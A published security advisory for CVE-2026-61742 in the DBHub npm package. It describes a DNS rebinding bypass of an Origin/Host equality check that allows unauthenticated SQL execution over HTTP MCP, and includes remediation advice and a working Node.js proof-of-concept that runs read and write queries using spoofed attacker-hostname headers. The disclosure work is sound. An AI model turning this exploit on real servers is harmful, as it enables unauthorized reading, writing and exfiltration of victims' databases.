{"id":"GHSA-fm8p-53ww-hf6w","summary":"DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution","details":"### Summary\n\nDBHub `0.21.2` exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`.\n\nThe HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.\n\nAs a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.\n\nRecommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.\n\n### Details\n\nAffected target:\n\n- Package: `@bytebase/dbhub`\n- Version tested: `0.21.2`\n- Repository commit tested: `72adfdcf7bcfe46b25edbc776ce096006eba9b02`\n- Affected mode: HTTP transport (`--transport http`)\n- Default package transport: stdio\n- Not affected by this specific browser-origin vector: stdio transport\n\nRelevant code path: `src/server.ts`\n\nThe HTTP server installs a middleware that:\n\n1. reads `req.headers.origin`;\n2. extracts the hostname from `req.headers.host`;\n3. parses the hostname from `Origin`;\n4. rejects only when the two hostnames differ;\n5. reflects the validated `Origin` into `Access-Control-Allow-Origin`;\n6. enables credentials with `Access-Control-Allow-Credentials: true`.\n\nRelevant code:\n\n```ts\nconst origin = req.headers.origin;\n\nif (origin) {\n  const host = (req.headers.host ?? '').split(':')[0].toLowerCase();\n  try {\n    const originHost = new URL(origin).hostname.toLowerCase();\n    if (originHost !== host) {\n      return res.status(403).json({\n        error: 'Forbidden',\n        message: 'Origin does not match Host header (DNS rebinding protection)',\n      });\n    }\n  } catch {\n    return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });\n  }\n}\n\nres.header('Access-Control-Allow-Origin', origin || 'http://localhost');\nres.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');\nres.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');\nres.header('Access-Control-Allow-Credentials', 'true');\n```\n\nThis blocks a simple cross-origin request such as:\n\n```http\nHost: localhost:8080\nOrigin: http://attacker.example\n```\n\nHowever, it accepts the DNS rebinding request shape:\n\n```http\nHost: dbhub-rebind.example:8080\nOrigin: http://dbhub-rebind.example\n```\n\nIn a browser attack, the victim visits an attacker-controlled page such as `http://dbhub-rebind.example:8080`. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.\n\nNo authorization token, per-server secret, or CSRF-style capability is required before `/mcp` accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.\n\nSuggested remediation:\n\n- Bind HTTP transport to `127.0.0.1` by default and require explicit opt-in for `0.0.0.0` or non-loopback hosts.\n- Add an explicit allowed-hosts policy instead of accepting arbitrary `Host` values because `Origin` has the same hostname.\n- Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.\n- Require an authentication token or CSRF-style capability before dispatching `/mcp` JSON-RPC methods.\n- Consider rejecting browser-origin requests whose `Host` is not a configured loopback hostname or configured deployment hostname.\n\n### PoC\n\nThe following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.\n\nRequirements:\n\n- Node.js 20 or newer\n- npm/npx access to install `@bytebase/dbhub@0.21.2`\n- An available local TCP port selected by the script\n\nSave the following as `dbhub-dns-rebinding-poc.mjs` and run:\n\n```bash\nnode dbhub-dns-rebinding-poc.mjs\n```\n\nThe script starts DBHub `0.21.2` in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.\n\n```js\nimport { spawn } from \"node:child_process\";\nimport http from \"node:http\";\nimport net from \"node:net\";\n\nconst attackerHost = \"dbhub-rebind.example\";\nconst port = await pickFreePort();\nconst launch = dbhubLaunchCommand(port);\n\nconst server = spawn(\n  launch.command,\n  launch.args,\n  {\n    stdio: [\"ignore\", \"pipe\", \"pipe\"],\n  },\n);\n\nlet stdout = \"\";\nlet stderr = \"\";\nserver.stdout.on(\"data\", (chunk) =\u003e {\n  stdout += chunk.toString();\n});\nserver.stderr.on(\"data\", (chunk) =\u003e {\n  stderr += chunk.toString();\n});\n\ntry {\n  await waitForDbhub(port);\n\n  const blocked = await postMcp(\"blocked\", \"tools/list\", {}, {\n    Host: `localhost:${port}`,\n    Origin: \"http://attacker.example\",\n  });\n\n  const rebindHeaders = {\n    Host: `${attackerHost}:${port}`,\n    Origin: `http://${attackerHost}`,\n  };\n\n  const list = await postMcp(\"list\", \"tools/list\", {}, rebindHeaders);\n\n  const read = await postMcp(\"read\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: { sql: \"select 'STANDALONE_REBIND_CANARY' as proof\" },\n  }, rebindHeaders);\n\n  const write = await postMcp(\"write\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: {\n      sql: \"create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;\",\n    },\n  }, rebindHeaders);\n\n  const result = {\n    port,\n    blocked: summarize(blocked),\n    rebindToolsList: summarize(list),\n    rebindRead: summarize(read),\n    rebindWrite: summarize(write),\n    reproduced:\n      blocked.statusCode === 403 &&\n      list.statusCode === 200 &&\n      list.acao === `http://${attackerHost}` &&\n      read.statusCode === 200 &&\n      read.body.includes(\"STANDALONE_REBIND_CANARY\") &&\n      write.statusCode === 200 &&\n      write.body.includes(\"rows_written\"),\n  };\n\n  console.log(JSON.stringify(result, null, 2));\n  if (!result.reproduced) {\n    process.exitCode = 1;\n  }\n} finally {\n  await stopServer(server);\n}\n\nasync function postMcp(id, method, params, headers) {\n  const body = JSON.stringify({ jsonrpc: \"2.0\", id, method, params });\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        hostname: \"127.0.0.1\",\n        port,\n        path: \"/mcp\",\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n          \"Accept\": \"application/json, text/event-stream\",\n          \"Content-Length\": Buffer.byteLength(body),\n          ...headers,\n        },\n      },\n      (res) =\u003e {\n        let data = \"\";\n        res.setEncoding(\"utf8\");\n        res.on(\"data\", (chunk) =\u003e { data += chunk; });\n        res.on(\"end\", () =\u003e {\n          resolve({\n            statusCode: res.statusCode,\n            acao: res.headers[\"access-control-allow-origin\"] || null,\n            body: data,\n          });\n        });\n      },\n    );\n    req.on(\"error\", reject);\n    req.write(body);\n    req.end();\n  });\n}\n\nasync function waitForDbhub(port) {\n  const deadline = Date.now() + 45_000;\n  while (Date.now() \u003c deadline) {\n    if (server.exitCode !== null) {\n      throw new Error(`DBHub exited early with code ${server.exitCode}\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n    }\n    try {\n      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);\n      if (response.statusCode === 200) return;\n    } catch {\n      // keep waiting\n    }\n    await new Promise((resolve) =\u003e setTimeout(resolve, 500));\n  }\n  throw new Error(`DBHub did not become ready\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n}\n\nasync function httpGet(url) {\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.get(url, (res) =\u003e {\n      res.resume();\n      res.on(\"end\", () =\u003e resolve({ statusCode: res.statusCode }));\n    });\n    req.on(\"error\", reject);\n    req.setTimeout(2_000, () =\u003e {\n      req.destroy(new Error(\"timeout\"));\n    });\n  });\n}\n\nasync function pickFreePort() {\n  return await new Promise((resolve, reject) =\u003e {\n    const server = net.createServer();\n    server.listen(0, \"127.0.0.1\", () =\u003e {\n      const address = server.address();\n      const selected = address.port;\n      server.close(() =\u003e resolve(selected));\n    });\n    server.on(\"error\", reject);\n  });\n}\n\nfunction summarize(result) {\n  return {\n    statusCode: result.statusCode,\n    acao: result.acao,\n    body: result.body.slice(0, 900),\n  };\n}\n\nfunction dbhubLaunchCommand(port) {\n  if (process.platform === \"win32\") {\n    return {\n      command: \"cmd.exe\",\n      args: [\n        \"/d\",\n        \"/s\",\n        \"/c\",\n        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,\n      ],\n    };\n  }\n  return {\n    command: \"npx\",\n    args: [\"-y\", \"@bytebase/dbhub@0.21.2\", \"--transport\", \"http\", \"--port\", String(port), \"--demo\"],\n  };\n}\n\nasync function stopServer(child) {\n  if (!child.pid || child.exitCode !== null) return;\n  if (process.platform === \"win32\") {\n    await new Promise((resolve) =\u003e {\n      const killer = spawn(\"taskkill.exe\", [\"/pid\", String(child.pid), \"/t\", \"/f\"], { stdio: \"ignore\" });\n      killer.on(\"exit\", resolve);\n      killer.on(\"error\", resolve);\n    });\n    return;\n  }\n  child.kill(\"SIGTERM\");\n}\n```\n\nExpected output:\n\n- `blocked.statusCode` is `403`.\n- `rebindToolsList.statusCode` is `200`.\n- `rebindToolsList.acao` is `http://dbhub-rebind.example`.\n- `rebindRead.body` contains `STANDALONE_REBIND_CANARY`.\n- `rebindWrite.body` contains `rows_written`.\n- `reproduced` is `true`.\n\nThis PoC simulates the post-rebinding request shape by connecting to `127.0.0.1` while sending the attacker-controlled `Host` and `Origin` headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.\n\n### Impact\n\nAn attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.\n\nIf DBHub is connected to a real database, the attacker can:\n\n- list DBHub MCP tools exposed by the server;\n- execute `execute_sql`;\n- enumerate tables and schemas;\n- read database contents;\n- run write queries when `execute_sql` is not configured as read-only;\n- read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;\n- exfiltrate query results through normal browser egress.\n\nThis does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.\n\nThe affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.","aliases":["CVE-2026-61742"],"modified":"2026-09-24T19:45:04.810662975Z","published":"2026-09-24T19:36:57Z","database_specific":{"github_reviewed_at":"2026-09-24T19:36:57Z","nvd_published_at":"2026-09-24T18:17:16Z","cwe_ids":["CWE-306","CWE-346"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61742"},{"type":"WEB","url":"https://github.com/bytebase/dbhub/pull/340"},{"type":"WEB","url":"https://github.com/bytebase/dbhub/commit/5bf5c3242a22e94871dfdf53913c84a5025b7381"},{"type":"PACKAGE","url":"https://github.com/bytebase/dbhub"},{"type":"WEB","url":"https://github.com/bytebase/dbhub/releases/tag/v0.22.6"}],"affected":[{"package":{"name":"@bytebase/dbhub","ecosystem":"npm","purl":"pkg:npm/%40bytebase/dbhub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.22.5"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.22.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fm8p-53ww-hf6w/GHSA-fm8p-53ww-hf6w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}